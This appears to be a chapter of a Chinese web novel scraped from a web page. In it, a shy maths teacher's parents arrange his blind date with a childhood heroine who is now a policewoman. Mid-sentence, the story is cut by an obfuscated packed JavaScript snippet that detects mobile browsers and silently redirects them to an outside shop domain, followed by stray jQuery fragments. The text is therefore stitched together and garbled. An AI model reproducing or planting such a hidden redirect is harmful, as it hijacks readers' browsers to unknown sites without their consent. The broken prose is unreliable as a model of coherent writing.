刚结束完中考阅卷的赵新民一回家,就被父母赶着去洗澡换衣服,“待会儿穿上妈给你买的那套鲜红的夹克衫试试,明天啊,里面穿个小白衬衫,显得精神!媒人给你订的是明天晚上六点钟吃饭,在满堂红火锅店。”
“哎呀妈呀!”赵新民脑瓜子嗡嗡的,他烦死相亲了。
其实才26岁又是体制内初中数学老师的他条件也不差,爸爸妈妈都是公务员,双胞胎姐姐经营着汉服设计妆造旅拍店,年收入过百万的。
他呢,虽说算不上帅,个子也就175公分,但长相也是中规中矩的。硕士研究生毕业一年,在父母的帮助下,也在市中心全款买了套170平米的大毛坯房。
他没有烟酒嗜好,平时比较宅,寒暑假就在家里打打游戏,偶尔自己出门看场电影。独来独往没啥社交,除了办公室偶尔聚一下餐外基本没人找他,属于那种微信只是个付款工具的隐形人。
跟八面玲珑情商超高的姐姐完全不一样,他进单位都一年了门卫看到他还拦着。那次他心血来潮跟校长打声招呼,校长都一愣,“哎呀,这位家长,我们学校规定,接孩子要在校门外等候的。”
正因为他的这些“毛病”,父母一直都担心他找不到老婆,所以从他一毕业就忙着托七大姑八大姨给介绍对象,并且叮嘱媒人,“我儿子老实巴交的,你可一定要从头坐到尾,盯着他说话,把话帮他说圆全了……”
其实他们根本不用嘱咐,那些媒人们个个都无比负责,从头到尾地盯着两个人相亲,时不常地插播一下自己家的家长里短,超级八卦加热心。
“妈我跟你说啊,今天相亲我王阿姨再从头盯到尾的我可不去,干嘛呀这是,坐那儿跟电灯泡似的,不嫌自己亮啊!”
“哎呀,人家不是怕你说话说不清楚吗?你忘了上次你去相亲跟人家姑娘讲了四十分钟立体几何的事了?人家都说你是语死星人。你放心,这次呀,你王阿姨绝对不去了,今天这个姑娘啊,说起来跟你还真有缘,你也认识她。”
“谁呀?”
“你小时候的救命恩人,武厉枭啊!”
“妈呀,她呀!”赵新民的记忆瞬间毛骨悚然……
那是五年级暑假的一个清晨,他独自一人在公园里散步,突然,一只没有戴牵引绳的藏獒疯了似的在人群中乱跑,吓得众人大叫着四散逃窜。
而他因为年纪小,胆子也小,吓得都不敢动弹了,手里还拿着吃到了一半的烤肠。
那藏獒似乎闻到了烤肠的香味,张着血盆大口就要向他扑过来。
说时迟那时快,就在藏獒差点咬着他时,突然怒吼一声倒地不动了——原来是他们班的“摄政王”武厉枭用西瓜摊上的切瓜刀攮到了藏獒的屁股上,把那疯狗制服了。
武厉枭从上幼儿园起就当班长,学习好,遵守纪律,热心,不摆架子。总之最严厉的老师,最是非的同学,也挑不出她的不是来。所以她威信特别高,民主选举从没给她选下去过。
同学们写作文“我最敬佩的人”,全班六十人除了武厉枭自己写了她爷爷,其他人全写武厉枭。新来的年轻任课老师管不住纪律,都让武厉枭帮忙坐镇。
有人说武厉枭管那帮皮猴子,有时候比班主任都好使。班主任就笑道,“厉枭是我们班的摄政王。”
从那以后,武厉枭在班里的绰号就是“摄政王”,配享太庙,九锡加身,挟天子以令诸侯。
赵新民一听相亲对象是武厉枭,心里说不出是啥感觉,有点兴奋,有点恐惧,有点紧张,有点甜蜜,有点跃跃欲试,有点自暴自弃。
他吭吭哧哧老半天才小心翼翼地询问道,“妈,她家不是老有钱了吗?还开着百年老店,还能看上我吗?”
“那咋不能呢!”赵母兴奋不已道,“她家条件好,咱家也不差呀!那姑娘是当个警察,人也特别仗义,但工作性质太危险了。所以这么长时间也没找对象。”
赵爸接口道,“我不是总去荣宝斋武家老店买核桃酥吗?跟那武老爷子也熟,经常一起聊天……”
那天,赵爸买了三斤核桃酥,武月直拿出新熬好的神仙水招待他,二人聊起了武厉枭的婚事。
武月直道,“老赵啊,不瞒你说,我孙女虽说英雄盖世,但这婚事啊,让我操心。找个同行那不现实,两口子都忙得不着家,不是过日子该有的样子。”
赵爸问他:“您儿子儿媳妇那么多生意合作伙伴呢,问问他们有没有谁儿子跟您孙女年貌相当的?”
武月直摇头说:“那家里做买卖的男孩呀,我看不好。那些富二代,用过去的老话就是衙内,二世祖,不招灾惹祸的也就是个贾宝玉那类的,窝窝囊囊没啥能水。我岁数大了,看不懂什么公司上市买空卖空那套玩意儿,什么股票不股票的?把别人的钱拘来给自己扩大再生产,生意赔了让人家帮忙承担损失,这不是缺德吗?”
“您不知道,如今的大买卖人都这么做生意。”
“我们先人留下祖训,荣宝斋就是做糕饼的,做一只卖一只,卖一只挣一份钱,就得了。我看那些从银行里贷出来那么多款的,哼,等还不上那天,哭都找不着调。我是跟我儿子说了,你要是给枭枭介绍你生意伙伴家的儿子,第一条就是看银行里有没有饥荒。有饥荒的,我坚决不同意。枭枭是我一手带大的,我不能看着孙女卖命挣工资跟人家还饥荒!”
赵爸笑了,“您老人家怎么断定孙女就一定听您的?”
武月直说:“我自己的孙女我知道,不是那脑子不清醒的人。”
“那您希望孙女找个什么样的人?”
“人品得好,老实善良,会替别人着想,有同情心,用现代人的话来说,叫有同理心和共情能力。
还有啊,能给我孙女提供情绪价值。我孙女查案多辛苦啊,回家再遇到一个跟她炝茬说话的,多糟心。
没有花花肠子,弄得点小浪漫,没事的时候,能陪我们枭枭出去走走,散个步,枭枭喜欢唱歌、骑马、射击,也喜欢做饭。
还有一点啊,很重要,小伙子得能巴家。枭枭结婚了呀,搞不好就得男主内了。要是那天天惦记着往外跑,总想出去应酬喝酒的,那可不行。家里的水电煤气得有人操心啊,缺啥少啥,哪儿坏了,该修啥该添啥,做丈夫的得心里有数。虽说有小时工干活,但经管这个家,枭枭这工作性质……唉!不过呀,我们家这条件,不会亏了小伙子的。
我们不挑男方家庭条件,穷点不要紧,我们能帮衬。我们对男方父母就两个要求:不强迫枭枭生孩子,生不生的,枭枭自己做主,不生也不许给脸子瞧,不许离婚!
我那媳妇就是生孩子的时候伤了身子,不到四十就没了。枭枭这个工作性质,抓贼的时候跑上跑下的,一旦怀孕,多危险啊,要有个闪失,命都得没了。
所以啊,凭良心说,我都不大愿意枭枭生孩子,太危险啦!还有一个什么要求呢?嘿嘿,说出来不怕你笑话:我希望亲家公亲家母是上班退休的。
我可不是图有退休工资这一项啊,我们家不贪财。我以前呀,见过那长年不上班的女同志,天天就待在家里洗衣服做饭,不接触外界,哎呀,眼界又窄,又没啥文化,正经挺歪挺不讲理的。
因为每天只接触丈夫和孩子,自己家人又都将就她,还不就是由着她放歪。
那在外面上过班的就不一样了。他总得跟同事,跟领导接触过吧,总得有点区分眉眼高低的本事啊。跟同事,跟领导总不能放歪了吧。
我希望什么呢,亲家亲家母,咱不说退休工资一定多高,没有退休工资的,也不要紧,困难的话我们当娘家的可以帮衬。
我们就不希望找那个又歪又不讲理,又闭塞又不接触外界,又没见识又穷横的,我们怕这样的。
枭枭这孩子,性子单纯,直肠子,没那些花花肠子弯弯绕,遇到那困在自己世界里放歪的,她可没精力去对付……”
“哎呀!”赵母兴奋地直拍巴掌,“你瞅瞅你瞅瞅!咱家哪条都符合!
咱家小民,从小就出了名的老实,心眼好,见到乞丐都给钱的。脾气又好,从不跟大人顶嘴。能干活,会做饭,会洗碗,还帮我种花生。
那天下雨,我在单位赶不回来,心想那可完蛋了,阳台上的被子全得浇透。没想到小民回来帮我收了!这孩子,比他姐那没心没肺的强多了。”
赵父皱眉道,“咱家的家底不算薄,可跟人家比,还是差太多了。
就光荣宝斋武家老店这几个字,就值几十个亿。
你看那店里的老物件,那老匾,雕梁画栋的老宅院,御赐黄马褂和十二生肖琉璃盏,老点心匣子上镶的都是螺钿,玻璃罩里那个宣统皇帝赏的金包银老算盘,那算盘珠子是七星紫檀木的。
说实话,我要是有这家底,我可舍不得独生孙女去当警察!”
赵母不服道,“说你没见识吧!你想啊,当年救咱家小民的时候武家丫头才多大,十一岁,一刀能把一头藏獒捅个半死,这是啥?天生干这个的料!
老武家有钱是不假,架不住出了个将星转世啊!她当警察的,长年和罪犯打交道,真要是跟豪门联姻,她受不了那约束,也受不了那个气。
若是嫁个普通人,一般的工人家庭,男孩父母文化不高的,肯定觉得委屈。所以像咱们这样的,最合适不过了。
你看,咱家底也有七位数了,一百多平方米的房子有三套,咱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849720|211799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
家四口人,一人一辆车,还没有贷款和负债,家里收入稳定。
我还存了些结婚时娘家婆家给我的老金老银老玉器,又去建行买了一些金条,打算给他们姐弟结婚时用。
还有最重要的一点,咱家不催生啊。老赵你看,他姐弟俩出生的时候,国家奉行计划生育,别人家都只生了一个,就咱家,一口气来了个双胞胎,多累人啊。
我这辈子啊,带孩子带伤了,我退休后,我可不爱带孙子,我得打麻将跳广场舞。”
赵父道,“我也是!我得打门球、钓鱼、逛街、摄影……我这辈子最享福的个人时光,可不能埋没在孙子的奶粉尿布里。
人家西方国家孩子满了十八周岁就啥也不管了,也就咱们中国,还得管买房子,到了该娶媳妇的时候还操心!”
“哎哎哎,”赵新民不解道,“你俩一唱一和地就把带孙子的活儿推出去了,那劲劲地催我结婚干嘛?哦,万一有了孩子,你俩不搭把手,就我和我媳妇干,不得累死我呀!那架就够吵了!”
赵父正色道,“你这孩子年纪轻轻咋那么封建呢!你一个00后,怎么还能有生孩子传宗接代的想法呢?结婚,是为了感情,你喜欢一个人,爱一个人,想和她早早晚晚在一起。
她是你的朋友,伴侣,亲人,是父母不在后能陪着你的人,是你感情的寄托,是你和外界保持联系的媒介。”
“就是啊,”赵母给赵父倒了一杯茶,“你和你姐姐虽和气,但你们是两种不同的性格,你又这么内向。
我和你爸就担心啊,等我们没了那天,最放心不下你。
你姐一个游山虎的性格,到处跑野马。你又是个闷葫芦,我们走了以后,你一个人在家,清锅冷灶的,连个说话的人都没有。所以啊,你能结婚,我俩这石头算落了地。”
“小民啊,爸爸是开明的人,知道己所不欲勿施于人。
我们自己也不爱带孩子,自然不催儿子儿媳生孩子。至于你以后和你媳妇想生了,你放心,爸爸妈妈会帮忙,出钱出力,闷头干活,绝不多嘴多舌。”
“小民,我和你爸这辈子虽然就混个正科级,但也是受过教育的人。
儿媳妇不是生孩子机器,不生,也不能给脸子瞧。
这年头呀,没有过去那员外老太爷老太君,跑腿大坐在炕头上等着儿媳妇端茶倒水炕上炕下伺候的事了。
只要嫁过来,就是咱们家的女儿。不能说人家不生,我们就不疼爱。你姐在家怎么娇惯的怎么称王称霸的,你媳妇就是一样的待遇。”
赵新民低着头想了想,“爸,妈,那你们……为啥让我见摄政王啊?我跟她……合适吗……”
赵父笑道,“你这傻小子,还没见到怎么知道合适吗?你们有啥不合适的?
她爷爷提的那些条你都符合,你又有寒暑假,又不当班主任,工作不累,你又不爱玩,眼里又有活,又干净讲卫生。论起过日子来,比你姐整天疯得看不见摸不着的强多了。”
“摄政王……她是英雄啊……”
赵母笑道,“英雄也不红眉毛绿眼睛的,英雄也是普通姑娘呀!”
“那我配不上英雄啊!”
“儿子,别说配不配得上的事,就说你喜欢不喜欢?”
赵新民被母亲这句话怔住了,挠挠脑袋道,“摄政王……她小时候就别的小女孩不一样,班里谁被外班欺负了,找她准没错,她能帮我们出头。
上高中的时候,有她在,外校的都不敢来挑衅。她一个人能罩一个校,而且她不收保护费,还特大方,运动会上扛了几大桶她家店里的酸梅汤和紫苏饮给我们喝。联欢会上还让大家免费品尝她家的桂花糕。
说真的,我们那时候都把她当龙头大姐看……跟大姐相亲……妈呀,做大姐的男人……这要是让当年那帮同学知道了,不得羡慕死我呀……”
赵母笑着揉揉他的头发,“老赵,你瞧你这傻儿子,还是对人家有意思。”
赵新民不好意思道,“妈,这年头好姑娘不多,过了这村没这个店了。”
赵父眼睛一亮,一指赵新民,“这就对了!我这傻小子开窍了!这有钱有名人品过硬的好姑娘,打着灯笼也难找。你呀,明天收拾得利利索索的,买捧花给人家。”
赵母补充道,“可不能再给人家讲立体几何了。聊聊小时候的救命之恩,叙叙旧,你也会做饭,向人家请教厨艺,骑马,枪法什么的。
总之啊儿子,娶个好媳妇,享一辈子福。这样,老赵,明天两个孩子就见面了。武老爷子重老礼儿,你带上两罐上好的奶粉和蜂蜜,带着小民先去武家老号拜见一下武老,让他先相看小民,也显得咱们懂规矩重礼数。”